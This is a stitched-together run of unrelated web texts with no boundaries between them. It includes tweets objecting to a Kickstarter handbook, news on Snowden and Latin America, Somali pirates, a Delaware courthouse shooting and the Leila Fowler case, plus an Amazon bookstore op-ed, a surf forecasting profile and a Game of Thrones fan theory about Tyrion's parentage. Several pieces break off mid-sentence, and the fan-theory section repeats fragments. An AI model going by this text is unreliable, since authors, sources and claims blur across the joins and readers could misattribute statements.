ignore women's boundaries, "be dominant," and, well, commit date rape: kickstarter.com/projects/tofut…Susan Schorn Yo, @kickstarter, it would be cool if you didn't offer your service to someone who's writing a handbook for rape: webcache.googleusercontent.com/search?q=cache…creeping horror Hey, @kickstarter, are you seriously allowing a rape how-to manual to be a Kickstarter project? kickstarter.com/projects/tofut…Bill Cameron Why would @kickstarter fund a how-to guide for rapists? http://j.mp/14JxjKpSabrina Morgan .@calamityjon @champsuperstar Hard to believe @kickstarter has no filter for "how to rape women: the cheat code manual" projects.Beth Don't like the sound of that
confined to the bottom of a well for over two years. Under the leadership of Nestor and Cristina Kirchner, Argentina has sought justice for the some 30,000 people disappeared during that nation’s dictatorship. Needless to say, the legacy of US-backed coups, right-wing spying networks, and police states looms large in Latin American politics and recent memory. So when Snowden’s leaked documents pointed to contemporary spying, it harkened back to Washington’s Cold War allies who, through coordinated efforts like Operation Condor, collaborated regionally to monitor dissidents and supposed communists, intercepting mail and spying on phone communications as a part of their continental nightmare. But the Cold War is over, and from Argentina to Venezuela leftist politics have dominated the region’s landscape over the past decade, labor and indigenous movements have been on the rise, and a decidedly anti-imperialist stance has been common on campaign platforms and political policy. While Washington has succeeded in supporting coups against left-leaning leaders in Honduras and Paraguay in recent years, a US-dominated regional trade agreement was shot down, its military bases have been pushed out of certain areas, US policy in the war on drugs is meeting resistance in key countries, and Latin American governments are going elsewhere for loans and aid. As a historic shift in politics has taken place south of the US border, Washington has often appeared out of touch and grasping for allies. In this context, leftist Bolivian President Evo Morales’ plane was grounded in Europe upon its return home from Russia on July 2nd. US officials behind the grounding of the plane believed Snowden, currently based in a Moscow airport, was on Morales’ flight, as the whistleblower was seeking asylum in South America. Upon returning to Bolivia, where a meeting was convened among Latin American leaders to address the US and European nations’ action against Morales, the Bolivian president said “the United States is using its agent [Snowden] and the president [of Bolivia] to intimidate the whole region.” Latin American presidents across the board were outraged at the actions against Morales, and Venezuela, Nicaragua and Bolivia all offered asylum to Snowden in a protest against the US and in solidarity with the whistleblower. Others said they would help to protect him from US prosecution. When US Vice President Joe Biden pressured Ecuadoran President Rafael Correa to not give asylum to Snowden, Correa thumbed his nose at the US, renouncing $23 million in US trade benefits, and offering those funds instead for training of US officials on civil liberties and human rights. In regards to the spying revelations and to the grounding of Morales’ plane, Correa told reporters, “We’re not 500 years behind. This Latin America of the 21st century is independent, dignified and sovereign.” In all of the data that the US gathered across the region, it missed one crucial fact: that Latin America is no longer Washington’s backyard. In spite of the empire’s wide reach, there are places where it will always be defied, in the telephone booths and dreams of a world that it will never truly own. Benjamin Dangl’s latest book Dancing with Dynamite: Social Movements and States in Latin America (AK Press) is on contemporary Latin American social movements and their relationships with the region’s new leftist governments. He is editor of TowardFreedom.com, a progressive perspective on world events, and UpsideDownWorld.org, a website on activism and politics in Latin America. Email BenDangl(at)gmail(dot)com.The evolution from fish living in water to vertebrates living on land was one of the most pivotal moments in the history of the animal kingdom. Now scientists using robot fish suggest that these ancient pioneers may have used their tails like crutches to help them move across land. The scientists detailed their findings in the July 8 issue of Science. The first terrestrial vertebrates, or tetrapods, evolved roughly 385 million to 360 million years ago, ultimately giving rise to amphibians, reptiles, birds and mammals. Scientists have discovered relatively few fossils dating back to this ancient time, so little is currently known about how tetrapods accomplished this move to land. To learn more about this critical transition, scientists investigated living fish that previous research suggested were similar in biology to the earliest terrestrial vertebrates. This included the African mudskipper (Periopthalmus barbaratus), which lives in tidal areas near shore and sometimes crawls onto land with its fins, occasionally jumping with its tail. They also developed both computer models and a 3D-printed robotic imitation of these fish called MuddyBot. “This study really brings a lot of tools to bear on the question of how vertebrate animals started to crawl on land, and not concrete or pavement, but a surface composed of complex materials,” says study senior author Daniel Goldman, a physicist at the Georgia Institute of Technology in Atlanta. The three investigative approaches complemented each other. Animal experiments help scientists understand animal locomotion. But they don’t generally allow researchers to make animals repeat actions, or manipulate their shapes in methodical ways, or have them perform unnatural movements. Computer models offer insights into the underlying mechanics of locomotion, but fail to capture much about the complex interactions between an animal and its environment. Robot models of animals can offer the best way to learn about animal locomotion, but need to be informed by living animals and computer models. The researchers experimented by placing the animals, robot, and computer model on the sandy beaches that early terrestrial vertebrates might have encountered. They unexpectedly found that fish tails might have played a critical role during ancient forays onto land. On flat ground, tails provided little benefit. However, on slopes, as one might see on riverbanks, tails were used significantly more often to help propel mudskippers forward. For instance, at slopes of 10 degrees, tails were used in roughly one-third of all “steps,” while at slopes of 20 degrees, they were used during more than half of all steps. Observed fish movements echoed these results. At sandy surface inclines of 10 to 20 degrees, the mudskippers performed an interesting flip with their tail in synchrony with their limbs to propel themselves, Goldman adds. “As far as we could tell, no one had described this behavior before.” The tail, he explains, had not been implicated before as a propulsive element as part of vertebrates’ movement to land. Experiments with the robots suggested that while ancient terrestrial vertebrates likely used their fins to move around on flat surfaces, when it came to climbing sandy slopes, they would have benefited from coordinating the motions of their fins and tails. The tails essentially act like crutches to help prevent slides down slopes. “I think it is exciting to integrate diverse approaches like robotics, motion analysis of living fishes, and granular drag measurements to elucidate how fossils over 350 million years ago might have moved,” says John Nyakatura, an evolutionary biologist and comparative anatomist at Humboldt University of Berlin, who did not take part in this research.AMD Radeon RX Vega 64 It’s becoming clear that the AMD Radeon RX Vega launch is almost upon us. The leaks are coming thick and fast, and while there have been a few false rumors, there’s no smoke without fire. We’ve already seen rumors that the cards will replace the XT and XTX, which seems fair enough. The internet has been flipping tables over the big news that the Sapphire cards will be around $700. People have been flipping and smashing those tables at the thought of some of the high-end cards tipping $850! Pictures, Pictures, Pictures Today’s news is pretty straight forward, no crazy prices to worry about right now, just straight up hardware porn. The three official images likely leaked from a press deck somewhere that found its way to Videocardz. Above, the sexy silver fox is actually the same card as the two pictured below. This silver model is the Chinese version of the card, which is expected to have the same specifications, but a different shroud design. AMD Radeon RX Vega 64? The Vega 64 is expected to be the most affordable of the Vega bunch. It’s design is obviously based around the RX 500 reference design and it certainly doesn’t excite too much visually, but it’s not exactly ugly either. Features The card tells us a few key things. First, we can see 2 x 8-pin power connectors, so without a doubt this card is going to have a thirst for power, how well it turns that power into FPS remains to be truly seen. Finally, we have three DisplayPort connectors, as well as a HDMI port. That’s more than enough connections for multiple displays. Of course, we expect FreeSync 2 support on those too. Release Date and Price? That’s the same two questions we’re asking right now. As soon as we have that information, we will do our best to share it with you all! Are you looking forward to Vega?US warships are heading to the area following Capt Phillips' capture Somali pirates have hijacked a tugboat in the Gulf of Aden with 16 crew members on board - 10 of them Italians. Maritime industry sources say the tug was towing two barges at the time of the attack at 0800 GMT. The crew are said to be unharmed. Meanwhile pirates holding a US captain hostage have warned that using force to rescue him could result in "disaster". They said they hoped to put Capt Richard Phillips on a larger vessel. US ships are on their way to the area. He is being held by four pirates in a lifeboat hundreds of kilometres off Somalia. In other developments: Sailors on a Panama-flagged bulk carrier repulsed a pirate attack with water hoses. Nato officials on a nearby Portuguese warship said an unexploded rocket-propelled grenade landed in the commanding officer's cabin On Friday, one Frenchman and two pirates were killed in a rescue operation by French troops on another vessel captured off Somalia. Four others, including a child, were freed from the yacht Growing concern Earlier reports suggested that a group of Somali elders were preparing to mediate between American officials and the pirates for Capt Phillips' release, but there has been no news of any progress. The US national was taken hostage on Wednesday after pirates hijacked his ship, the Maersk Alabama, as it sailed towards the Kenyan port of Mombasa carrying food aid. MAJOR PIRATE INCIDENTS Ukrainian ship MV Faina seized on 25 September 2008, held until 5 February 2009 Saudi tanker Sirius Star held for two months from November 2008; a $3m ransom was negotiated At least 15 pirate attacks reported to International Maritime Bureau during March 2009 The 32,500-tonne Malaspina Castle, UK-owned but operated by Italians, seized on 6 April 2009. Growing sophistication of pirates Q&A: Somali piracy Profile: Capt Richard Phillips After a long struggle, crew members regained control of the ship. It is thought Capt Phillips offered himself as a hostage in order to save his crew. The Maersk Alabama arrived in Mombasa late on Saturday. "He's a hero," one crew member shouted as the ship moored, referring to Capt Phillips. The BBC's Karen Allen at the port says there is unprecedented security. FBI agents are on board the ship. Maersk President and Chief Executive Officer John Reinhart told journalists the ship was now a crime scene and the crew would have to stay on it during the investigation. They would all be repatriated as soon as possible, he added. There has been rising concern in the US over the fate of the captain - Defence Secretary Robert Gates told reporters in Washington on Friday that his safe return was a "top priority". FBI experts are helping negotiate his release, but analysts have said the process could be lengthy. Capt Phillips tried to escape on Friday by jumping overboard and swimming towards a nearby US ship, but was recaptured. Reports in the US say the pirates are demanding a ransom of $2m for his safe release. The US Navy destroyer, USS Bainbridge, is at the scene of the confrontation with other American warships on the way. Stories circulating in Somalia claim that extra pirate ships are also making their way towards the area. The pirates say they hope to transfer Capt Phillips to a bigger and better-protected vessel. The Pentagon is also said to be considering other options, including possible military force, US sources say. But the Somali pirate commander warned against any forcible intervention. "I'm afraid this matter is likely to create disaster because it is taking too long and we are getting information that the Americans are planning rescue tricks like the French commandos did," Abdi Garad said. French ordeal The attacks have renewed international focus on hijackings in one of the world's busiest shipping lanes. Florent Lemacon, the owner of the French yacht and father of the child who was on board, was killed during the rescue operation. French Defence Minister Herve Morin said on Saturday that officials "cannot rule out" that Mr Lemacon was killed by French fire. But he said the raid was "the best possible decision," and that an investigation would determine what happened on board the Tanit. The four released hostages - Mr Lemacon's wife Chloe, their three-year-old son Colin, and two other adults - are due to arrive in Paris on Sunday, he said. Somalia has been without an effective government since 1991, fuelling the lawlessness which has allowed the pirates to thrive. Pirates typically hold the ships and crews until large ransoms are paid by the shipping companies. Last year the firms handed over about $80m (£54m). Efforts to stop the pirates have so far had only limited success, with international naval patrols struggling to cover the vast areas of ocean where pirates operate. Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable versionStory highlights Two women and the gunman were killed, Delaware State Police say Capitol police officers' bulletproof vests saved their lives, police say The gunfight broke out in lobby of the New Castle County Courthouse Three people are dead, including a gunman who opened fire in a courthouse in Wilmington, Delaware, Monday morning, Delaware State Police said. Two Capitol Police officers were wounded in the gunfight, but their injuries aren't life threatening because they were wearing bulletproof vests, police said. The man entered the lobby of at the New Castle County Courthouse around 8 a.m. and began shooting, said State Police Sgt. Paul Shavack. He acted alone, Shavack said, and the shooting was not an act of terrorism. The two who are dead are women, but Shavack declined to give details about them. News reports said the gunman's estranged wife was among the victims, but Shavack said he could not confirm that a family member was involved. He described the shooter as white and between the ages of 50 and 60. Police said it's unclear how the gunman died. They are investigating whether he killed himself or police killed him. Jose Beltran, a Court of Common Pleas worker, told the News Journal in Wilmington that he was walking into the courthouse lobby when he heard shots. "I saw two shots," he said. "I saw people going on the ground so I just made a U-turn and ran out of the building. After that I don't know what happened." Thomas Warren told the newspaper that as he approached the courthouse entrance to report for jury duty, he saw what appeared to be the body of a man lying on his stomach. Local and federal authorities, including agents from the U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives, responded. The courthouse was evacuated and police did a floor-by-floor search of the 12-story building to make sure there was only the single gunman and there were no more threats, Shavack said. The shooting came on the day the police chief of Wilmington was in Philadelphia to attend a roundtable discussion about gun safety. Vice President Joe Biden, law enforcement officials and members of Congress were attending. Biden, who served as a senator from Delaware for many years, acknowledged Monday's shooting. "Wilmington has been dealing with a murder rate that exceeds any number a city of its size should be dealing with," he said. The city's population is 71,305, according to 2011 census figures. There were 23 murders in the city that year, according to FBI statistics Monday afternoon Joseph R. "Beau" Biden, Delaware's Attorney General and the son of the vice president, spoke at a news conference about the shooting. "This is not a random act of violence," he said, but stems for a long custody dispute that "has lasted in our court system for many years." Biden and other law enforcement authorities would not publicly name the shooter or the deceased, saying that they wanted to continue with the process of their investigation first. The officers who survived the shooting were treated and released from a hospital, police chief William Jopp said. The New Castle County Courthouse will be closed Tuesday.Scott supplied lawyerly perspective: “The law has long been clear that stores do not invite the public in for all purposes. A retailer is not expected to serve as a warming station for the homeless or a site for band practice. So it’s worth wondering whether it’s lawful for Amazon to encourage people to enter a store for the purpose of gathering pricing information for Amazon and buying from the Internet giant, rather than the retailer. Lawful or not, it’s an example of Amazon’s bare-knuckles approach.” Statements like this will no doubt make us all seem, to Amazon devotees, like a bunch of privileged, holier-than-thou ingrates. Privileged I’ll grant them. But as we swapped e-mails it quickly became clear that the real source of our collective dismay was actually gratitude, not ingratitude. On my first book tour I was invited to Barbara’s Bookstore in Chicago. The employees optimistically set up seven folding chairs, then occupied those chairs themselves when nobody showed up for the reading. Armed with such experiences, my writer pals and I took personally Amazon’s assault on the kinds of stores that hand-sold our books before anybody knew who we were, back before Amazon or the Internet itself existed. As Anita put it, losing independent bookstores would be “akin to editing... a critical part of our culture out of American life.” As the owner of a new independent bookstore in Nashville, Ann may have more to lose than the rest of us, so I found her calm, resigned response particularly interesting. “There is no point in fighting them or explaining to them that we should be able to coexist civilly in the marketplace,” she wrote me. “I don’t think they care. I do think it’s worthwhile explaining to customers that the lowest price point does not always represent the best deal. If you like going to a bookstore then it’s up to you to support it. If you like seeing the people in your community employed, if you think your city needs a tax base, if you want to buy books from a person who reads, don’t use Amazon.” Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Tom agreed: “People have to understand that their short-term decision to save a couple bucks undermines their long-term interest in their community and vital, real-life literary culture.” Though it’s under siege, such real-life literary culture exists in unexpected places. A few miles down the road from where I live on the coast of Maine, a talented young bookseller named Lacy Simons recently opened a small bookshop called Hello Hello, and in her blog she wrote eloquently about her relationship to “everyone who comes in my store. If you let me, I’ll get to know you through your reading life and strive to find books that resonate with you. Amazon asks you to take advantage of my knowledge & my education (which I’m still paying for) and treat the space I rent, the heat & light I pay for, the insurance policies I need to be here, the sales tax I gather for the state, the gathering place I offer, the books and book culture I believe in so much that I’ve wagered everything on it” as if it were “a showroom for goods you can just get more cheaply through them.” Scott reminds me what happened the last time someone stood up to Amazon. Nearly two years ago, the Macmillan publishing group adopted a new sales model that would cost Macmillan in the short run, but allow other companies to enter or remain in the e-book market without having to take a loss on every sale. Amazon’s response to more competition? They refused to sell not merely Macmillan’s e-books, but nearly every physical book Macmillan published. Amazon eventually backed down, but its initial response helped shape a widespread sense that it envisions a world in which there will be no other booksellers or publishers, a world where, history suggests, Amazon may not use its power benignly or for the benefit of literary culture. This puts me in mind of stories about the days in Old Hollywood when the studios controlled everything. A director friend told me about a particularly ruthless studio head who, as my friend put it, would sell his mother for a bent farthing, and was, as a result, universally feared and loathed. But here’s the thing: the exec shared a common language and a common passion with those he steamrolled. Why? They inhabited the same world. Those days, my friend concluded wistfully, are gone. Movie studios have been subsumed by media empires. And when you try to have a conversation with the new Hollywood, it quickly becomes clear that you’re talking about movies and they’re talking about refrigerators. Advertisement Continue reading the main story As I see it, the problem with Amazon stems from the fact that though it started out as a bookseller, it isn’t anymore, not really. It sells everything now, and it sells it all aggressively. Maybe Amazon doesn’t care about the larger bookselling universe because it’s simply too big to care. In a way it’s become, like the John Candy character (minus the eager, slobbering benevolence) in Mel Brooks ’s movie “Spaceballs” — half man, half dog and thus its own best friend. Like just about everybody I’ve talked to about it, I first attributed Amazon’s price-comparison app to arrogance and malevolence, but there’s also something bizarrely clumsy and wrong-footed about it. Critics may appear weak today, but they may not be tomorrow, and if the wind shifts, Amazon’s ham-fisted strategy has the potential to morph into a genuine Occupy Amazon movement. And even if the company is lucky and that doesn’t happen, what has it really gained? The fickle gratitude of people who will have about as much loyalty to Amazon tomorrow as they do today to Barnes & Noble, last year’s bully? This is good business? Is it just me, or does it feel as if the Amazon brass decided to spend the holidays in the Caribbean and left in charge of the company a computer that’s fallen head over heels in love with its own algorithms? In other words, hang in there, Lacy.New York Mayor Bill de Blasio stormed into Ohio Sunday to talk up Hillary Rodham Clinton, but drew only 40 Democrats in a lackluster showing of support. The big city mayor spoke for about 20 minutes in the Lima, at one point defending charges that Clinton is a Wall Street surrogate for all the money she's taken from banks and brokers. "You can take a donation. You can meet with people. It does not mean you are going to do what they want you to do," de Blasio said. New York Mayor Bill de Blasio visited Toledo, and Lima, Ohio Sunday. Ohio is a key battleground state where Donald Trump has held his own against Clinton. A victory in Ohio would help Clinton lock up the election. According to a LimaOhio.com report, de Blasio said, "Lima and Allen County are the center of the universe. I come from a place we are very proud and we have our own swagger, but I say with humility you have something we don't have, and I say it with a certain envy, as well. You get to decide the future of the country." He also spoke to just a living room full group in Toledo. There, according to the Toledo Blade, he ripped Trump, saying, "Trump has said divisive things going back to the 1980s." De Blasio added, "He's become a less and less meaningful person in New York over the years because I think New Yorkers got pretty turned off by that." Paul Bedard, the Washington Examiner's "Washington Secrets" columnist, can be contacted at pbedard@washingtonexaminer.comThe time has come. After two months of waiting for perfect conditions, surfers from across the globe are grabbing their “guns” (specialized big-wave surfboards) and making their way to Northern California to join the Titans of Mavericks big-wave surf competition this Friday. They'll be pummeled by waves the size of four-story buildings, and they'll have Mark Sponsler, the competition's official surf forecaster, to thank. Mavericks is a notorious break that’s home to some of the heaviest surfable waves in the world. And Sponsler, the founder of Stormsurf.com, is responsible for green-lighting the competition held just north of Half Moon Bay. But the contest doesn’t happen every year; waves must be at least 40 feet high and somewhat structured—as in, not exploding with Poseidon’s rage. Hard to predict in a winter that could produce one of the strongest El Niños on record. That’s where Sponsler comes in. Most of Sponsler's routine forecasts rely on wave models parsed from National Oceanic Atmospheric Administration weather data, but for important events like Titans, he crunches the numbers by hand. He uses a mix of swell-decay tables—old-school charts that estimate the rate at which swells steadily lose power as they travel through the ocean—and his “secret sauce” of algebraic equations. Then he compares his models against readings from the Jason-2 satellite, which measures sea height to within about an inch. Even so, his models can be thrown off by opposing winds, currents, and other swells. Sponsler says he’s had his eye on this particular storm for about a week as it has developed over the international dateline. “It was 50-foot seas aimed right at Mavericks." The storm, which originated roughly midway between here and Japan, some 2,300 nautical miles away, is less preferable than a storm that originates in the Gulf of Alaska, a mere 1,600 nautical miles away, says Sponsler. That's because of that swell-decay rate thing; these waves have had more time to run out of energy than waves that come down from Alaska. It was expected to arrive late Thursday and peak Friday morning. Surfers should see waves between 34 and 36 feet tall (not quite 40, but close enough) with a swell period of ten feet every 17 to 18 seconds. (A swell is essentially a sine wave through the ocean composed of wave after wave.) He says storms typically follow the jet stream and work their way across the North Pacific. “Mavericks is at the end of that pipeline; all the energy is focused right there, in a perfect place to catch the ball when it comes,” he says. Sponsler began forecasting in his native Florida, drawing “rustic and inaccurate” wave models based on satellite photos from his local newspaper. Then, when he was working as a software engineer for NASA’s shuttle program in the ’80s, a colleague changed his forecasting forever. “He said, ‘Come here, I want to show you something,’” Sponsler says. “It was the Internet. I was like, ‘I want this.’” With access to weather data from the entire planet, Sponsler left Florida to hunt waves at Waimea Bay and Sunset Beach in Hawaii—two world-renowned big-wave breaks. Then he heard about Mark Foo’s death at Mavericks. Foo, a legendary Hawaiian big-wave surfer and Sponsler’s acquaintance, drowned after wiping out on a relatively unremarkable 18-foot wave. Sponsler says he thought to himself, “This Mavericks place must be pretty serious.” Sponsler paddled out for the first time in 1995, with pioneer Jeff Clark, who showed him the ropes. Twenty years later, Sponsler says he has it dialed in. “The game is to paddle out right before the sweet spot, sit there, surf it, taste it like fine wine,” he says. “You learn to pick out the very best barrel in a batch of a whole year’s harvest.” (He draws the line at ginormous waves though. On contest morning, he’ll paddle out with all the competitors and watch just off to the side—the 58-year-old says he’s too old and feeble to “keep up with those madmen.”) Friday, however, isn't the best storm to have occurred in the past few weeks. The first choice coincided with the Super Bowl, which was a de facto blackout date. “I can’t believe a bunch of football players trumped a bunch of surfers,” says Sponsler. Now it's the wave riders' chance to get pummeled by enormous forces of nature. This post has been updated to reflect the start of the event.Story highlights The brother, 12, was arrested at a sheriff's substation late Saturday afternoon "Citizens of Calaveras County can sleep a little better tonight," sheriff says Leila was fatally stabbed; her brother had told police he'd been an intruder Detectives on Saturday arrested the 12-year-old brother of Leila Fowler on a homicide charge in connection with his 8-year-old sister's death, Calaveras County, California, Sheriff Gary Kuntz said. The brother -- who Kuntz did not name, but did speak publicly after his sister's death -- was arrested at 5:10 p.m. (8:10 p.m. ET) at a county sheriff's office substation in his hometown of Valley Springs, according to the sheriff. "Citizens of Calaveras County can sleep a little better tonight," Kuntz said. Leila Fowler and her brother were said to be alone on Saturday, April 27, in their family's northern California home when she was found dead. The 12-year-old told police that he'd seen an intruder leaving the home, then found his sister suffering from stab wounds. The 8-year-old died minutes after arriving at a hospital, authorities said. After the incident, police offered a sketchy description of the suspect as a 6-foot-tall white or Hispanic male with a muscular build. They also interviewed registered sex offenders in the area, ran down leads and searched in attics, storage sheds and more in the rural, mountainous community located about 60 miles southeast of Sacramento. Authorities also combed the Fowler's home and neighborhood looking for evidence. "We did collect fingerprints during that search," Calaveras County Sheriff's Capt. Jim Macedo said days after the attack, "and we did collect what we believe to be DNA." Kuntz said law enforcement officers "put over 2000 hours into this investigation to provide Leila Fowler's family with answers in her death." He declined to answer questions after giving his statement, including on the exact charges against the brother, where he is being held or when he will appear in court. The death of young Leila, known for her bubbly personality, shook the small town of Valley Springs, where purple ribbons, Leila's favorite color, were tied to stop signs. "We are devastated," the girl's mother, Crystal Walters, told CNN via her Facebook page. "She didn't deserve this.... She was so full of life."Washington (CNN) There were few people who despised James Comey more than those political operatives working for Hillary Clinton in Brooklyn during the 2016 campaign. But word of the FBI director's firing was met with fear, not joy, on Tuesday. Sen. Tim Kaine, Clinton's running mate, Robby Mook, the former secretary of state's campaign manager and Brian Fallon, her press secretary, all expressed skepticism at why Comey was fired now -- in the midst of the bureau's investigation into Russia's involvement in the 2016 election. "Trump firing Comey shows how frightened the Admin is over Russia investigation," Kaine tweeted in response to the news. "Comey firing part of a growing pattern by White House to cover-up the truth." Mook, who has been markedly critical of Comey since the 2016 election, tweeted that he was "surprised" by the fact that he can't see "how this bodes well for the Russia investigation." "I was as frustrated, concerned and disappointed as anyone with Director Comey's handling of the email investigation, but President Trump just fired the man investigating how Russia meddled in our election and whether members of his campaign were involved, an investigation President Trump called 'charade' only 24 hours ago," Mook said in a statement. "It's equally concerning that our attorney general, who lied about his own meetings with the Russians, approved Director Comey's firing." Read MoreAlbertans have been treated to a chilly, snowy start to 2015, with Environment Canada issuing an extreme cold warning for most of the province Saturday night. The warning, which originally covered areas around Lloydminster, St. Paul, Cold Lake and Coronation, was expanded Saturday evening to include most of the central and northern parts of Alberta. The area includes Edmonton, Red Deer and Fort McMurray. The agency says the frigid temperatures and wind mean a greater risk of frostbite and hypothermia. The cold comes as many areas of the province are still cleaning up heavy snow after the past few days. The City of Edmonton announced that a seasonal parking ban will come into effect Saturday night after a storm that covered roads and sidewalks late Thursday. Drivers parked on a marked bus route during the ban face a fine and the possibility of having their vehicles towed. Southern Alberta hasn’t fared much better. Snow and temperatures around -30 degrees conspired to make roads slippery in Calgary. Police say there were nearly 150 collisions in the city as of 4 p.m.. Although forecasts show less snowfall in Edmonton and Calgary Sunday, the cold snap is expected to continue until the end of the weekend.Self-described Christian prophet Cindy Jacobs has a habit of — get this — lying to her audiences. Like the time she helped a woman grow three inches instantaneously, and the time she turned metal into bone (literally), and the time she blamed the death of blackbirds on the repeal of Don’t Ask, Don’t Tell, and the time she commanded the clouds to move during a photo shoot because she had “authority over the weather.” It turns out God speaks to her in Spanish, too. Because when she was on her way to preach recently, the Lord said to her, “Basta!” She explained it on The Jim Bakker Show and this screenshot is literally what they showed on the screen: She claims it’s because God was giving her something to say to the Devil. “You’re not messing with my emotions, you’re not messing with my money, you’re not messing with my kids, BASTA! BASTA! Enough!” That’s interesting. Because I say the same thing every time I hear Jacobs talk. Maybe, just maybe, God was telling her to stop lying to people by claiming to speak on His behalf. She didn’t list that as an option. I don’t know how she missed it. (via Charisma. Portions of this article were published earlier)Election 2016: Barrie Cassidy among ABC analysts answering your questions on Facebook Updated At 10.00am this morning Insiders host Barrie Cassidy will take to Facebook to answer questions live from viewers to find out what they think about the impending election and his own performance during the campaign. It's the first time the political veteran has used the Facebook platform for a live chat and he's looking forward to it, saying viewers would lead the conversation. "It's an opportunity to see what you think is important in this election campaign," Cassidy said. "You will decide what we talk about on Facebook Live: perhaps the issues you believe haven’t been given enough attention? Or Insiders' performance during the campaign? "Don't hold back." The ABC has experimented frequently with Facebook Live since the social media platform released the technology to give viewers unique and unprecedented access to its top political talent during the 2016 election campaign. ABC's top election analysts take to Facebook Through the coming week, the ABC's top political analysts and commentators will be on hand to answer questions about the political process and impending election in real time via Facebook Live. The ABC's chief online political writer and Kitchen Cabinet host Annabel Crabb will be online at 5pm on Monday to dish out tasty morsels about her last shows of the series, featuring PM Malcolm Turnbull and Opposition Leader Bill Shorten. On Tuesday and Thursday at 2:30pm, ABC political editor Chris Uhlmann will take questions immediately after the final leaders’ addresses at the National Press Club in Canberra. On Wednesday, ABC election analyst Antony Green will be online from 12:30pm to talk polling and predictions. And on Friday, just ahead of the poll, Radio National Drive and Party Room host Patricia Karvelas will take questions from 12:30pm. On election night itself, News 24 host Jeremy Fernandez will take viewers on a behind-the-scenes tour of the Ultimo newsroom. To be notified about these events when they happen, like the Facebook pages below. And here's a handy guide to viewing live events on Facebook. Sunday, Jun 26 Barrie Cassidy, Insiders (10am) Monday, June 27 Annabel Crabb, Kitchen Cabinet (5pm) Tuesday, June 28 Chris Uhlmann, Bill Shorten at the National Press Club (2:30pm) Wednesday, June 29 Antony Green, Elections Analyst (12:30pm) Thursday, June 30 Chris Uhlmann, Malcolm Turnbull at the National Press Club (2:30pm) Friday, July 1 Patricia Karvelas, RN Drive (1pm) Saturday, election day Jeremy Fernandez, News 24 Topics: federal-elections, government-and-politics First postedOne way to cover the costs associated with the new law would be to raise the price of each item sold about 4 percent and pass the costs along to buyers. “It’s ironic that our success meant we could grow,” Ms. Shein said, “and now we will be competing against smaller companies, with 50 employees or fewer, who will be able to charge less per item because they don’t have the financial burden of health insurance.” Prices are currently similar among local competitors, Ms. Shein said, and she says she believes the increase in her prices could affect her sales, possibly significantly
much like father, like son. And if Aerys is father #2, every single piece of evidence — westeros.org assembles a metric ton of it right here — for A+J=T applies just as well if not better to L+A+J=T. Summary of known “basic” Tyrion Targaryen evidence: Tons of evidence for a Joanna/Aerys affair; Joanna in King’s Landing the year before Tyrion is born Pale blond hair is Targ, not Lannister (See Below: it may be a blend of the two) Mismatched eyes are Targ bastard-ish; see Shiera Seastar Tyrion fascinated w/fire, asks for pet dragon, dreams/reads about dragons, ogles dragon skulls His scholarship parallels Rhaegar’s and Egg’s Tywin denies his inheritance “You are no son of mine;” “All dwarfs are bastards in their father’s eyes” The “King’s Shadow” bit in AGOT J I, other “large shadow” references Hugor Hill is a Westerlands bastard name “Most of my kin are bastards” A Dance With Dragons is primarily about Jon, Dany and… Tyrion Many references to Tyrion’s tongue parallel the many references to Egg’s tongue Varys very oddly implies Tyrion’s father is dead in COK Tyr XI Tywin compares Tyrion’s desire for “applause” to Aerys’s (SOS Tyr I) Tywin gets unusually (it’s noted!) upset after Tyrion idly references Aerys (SOS Tyr VI) Tons of Tyrion/Viserion parallels How exactly might A+L+J=T have gone down? To assay an answer, we need to establish more history, and I intend to do just that in spades, shortly. For now, let’s just note that while a rape would match Elder Brother Lewyn’s memory of taking some women by force, it’s problematic to imagine Joanna remaining friends with tPoD if she is raped by tPoD’s little brother. The important thing for now is that both men fertilize eggs, and the zygotes or embyros or whatever fuse into one. *** More Things Explained by/Supporting L+A+J=T 1. Tyrion’s coloration is fully explained: His hair is Martell and Targaryen and Lannister: black for Martell, with “pale blonde” not Lannister gold nor the usual dramatic Targ silver-blond, but splitting the difference like another half-Targ, half-Martell once did: Maekar I’s “straight hair and square-cut beard were so fair they seemed white in the dimness of the hall, but as he got closer he saw that they were in truth a pale silvery color touched with gold,” and his beard hair is later called “silvery- pale “. in the dimness of the hall, but as he got closer he saw that they were in truth a pale silvery color touched with gold,” and his beard hair is later called “silvery- “. His beard is “a tangle of yellow, white, and black hairs, patchy and coarse…” (SOS Tyrion II) Yellow Lannister (Kevan and Jaime’s beards are both described as “yellow”); Black Martell; “White” a coarse, beard-hair version of a classic platinum Targaryen/god-emperor hair color (“They had hair of silver and hair of gold and hair of platinum white ” [GOT Daen IX]; Elaena Targaryen’s “crowning glory” is her “platinum-pale” hair), again a la “so fair they seemed white” half-Martell Maekar T. ” [GOT Daen IX]; Elaena Targaryen’s “crowning glory” is her “platinum-pale” hair), again a la “so fair they seemed white” half-Martell Maekar T. 3 colors, 3 houses. His eyes also match all 3 houses: green for Lannister (Joanna’s “green” eyes, not Tywin’s “pale green, flecked with gold” eyes); black for Martell; mismatched for Targ bastard, a la Shiera Seastar. 2. Tyrion being consistently referred to as a giant. “Oh, I think that Lord Tyrion is quite a large man,” Maester Aemon said from the far end of the table. He spoke softly, yet the high officers of the Night’s Watch all fell quiet, the better to hear what the ancient had to say. “I think he is a giant come among us, here at the end of the world.” (GOT Tyr III) “And what am I, pray?” Tyrion asked her. “A giant?” “Oh, yes,” she purred, “my giant of Lannister.” (GOT Tyr VIII) [Repeated ad nauseum] Tyrion had snorted in derision. “If Littlefinger is dead, then I’m a giant.” (COK Tyr IX) Suddenly this makes all kinds of literary sense. Let’s see why. Marwyn is his uncle. Marwyn looks like a “mastiff”, with a “bull’s neck,” i.e. no neck. “His head was too big for his body, and the way it thrust forward from his shoulders, together with that slab of jaw, made him look as if he were about to tear off someone’s head…. He was heavy in the chest and shoulders, with a round, rock-hard ale belly…” He’s a dry-drunk addicted to sourleaf and “he had the biggest hands that Sam had ever seen.” Recall the Martell’s love of wine. Recall that Quentyn is “too thick around the middle” with “slumped” shoulders. Recall cousin Ser Archibald: “six-and-a-half-feet tall, broad of shoulder, huge of belly, with legs like tree trunks, hands the size of hams, and no neck to speak of.” And what of 